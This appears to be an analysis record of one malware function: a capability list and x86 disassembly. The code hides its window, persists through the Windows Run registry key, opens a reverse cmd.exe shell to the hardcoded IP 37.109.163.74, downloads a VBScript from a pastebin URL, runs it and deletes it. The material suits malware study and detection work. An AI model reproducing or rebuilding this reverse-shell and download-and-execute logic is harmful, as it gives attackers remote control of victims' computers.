Function at 0x401f80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Delete file
Download url
Hide graphical window
Initialize winsock library
Persist via run registry key
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2a8
mov eax, dword [0x418040]
xor eax, esp
mov dword [esp + 0x2a4], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00401a90
push 0x104
lea eax, [esp + 0xa4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x2c]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40202c
lea eax, [esp + 0xa0]
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401ff0
sub eax, edx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0xa4]
push eax
push 1
push 0
push str.MyProgram
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x419848
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [0x4199d8], eax
cmp eax, 0xffffffff
jne 0x40206d
push 0x4e20
call esi
jmp 0x402048
mov eax, 2
push 0xd8f
mov word [0x419a24], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.37.109.163.74
mov word [0x419a26], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0
push 0
push 0
push 0
push 0x10
push 0x419a24
push dword [0x4199d8]
mov dword [0x419a28], eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x4020cd
push dword [0x4199d8]
call edi
push 0x7d0
call esi
jmp 0x402048
mov eax, dword [0x4199d8]
cmp eax, 0xffffffff
je 0x4020df
push eax
call edi
mov eax, dword [0x4199d8]
push 0x419838
xor ecx, ecx
mov dword [0x419a20], eax
push 0x4199e0
push ecx
push ecx
push ecx
xorps xmm0, xmm0
mov dword [0x419a1c], eax
push 1
push ecx
mov dword [0x419a18], eax
lea eax, [esp + 0xac]
push ecx
movlpd qword [0x4199e4], xmm0
movlpd qword [0x4199ec], xmm0
movlpd qword [0x4199f4], xmm0
movlpd qword [0x4199fc], xmm0
movlpd qword [0x419a04], xmm0
movups xmm0, xmmword [str.cmd.exe]
push eax
push ecx
mov dword [0x419a12], 0
mov word [0x419a16], cx
mov dword [0x4199e0], 0x44
mov dword [0x419a0c], 0x101
mov word [0x419a10], cx
movups xmmword [esp + 0xb8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push str.https:__pastebin.com_raw_AaT5fspW
lea ecx, [esp + 0x64]
call fcn.004022a0
call fcn.00405f5e
cdq
mov ecx, 0x186a0
idiv ecx
lea ecx, [esp + 0x48]
call fcn.00402370
lea eax, [esp + 0x48]
push str..vbs
push eax
lea ecx, [esp + 0x1c]
call fcn.004026c0
add esp, 4
lea ecx, [esp + 0x7c]
mov edx, eax
call fcn.00402660
add esp, 4
lea ecx, [esp + 0x14]
call fcn.00401330
lea ecx, [esp + 0x48]
call fcn.00401330
lea edx, [esp + 0x78]
lea ecx, [esp + 0x48]
call fcn.00401390
lea eax, [esp + 0x78]
push eax
lea edx, [esp + 0x4c]
lea ecx, [esp + 0x34]
call fcn.00402520
add esp, 4
lea ecx, [esp + 0x30]
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x60]
cmova ecx, dword [esp + 0x30]
cmp dword [esp + 0x74], 7
push 0
cmova eax, dword [esp + 0x64]
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x40225e
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x30]
push 1
cmova eax, dword [esp + 0x34]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call esi
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x30]
call fcn.00401330
lea ecx, [esp + 0x48]
call fcn.00401330
lea ecx, [esp + 0x78]
call fcn.00401330
lea ecx, [esp + 0x60]
call fcn.00401330
mov ecx, dword [esp + 0x2ac]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402fe7
mov esp, ebp
pop ebp
ret 0x10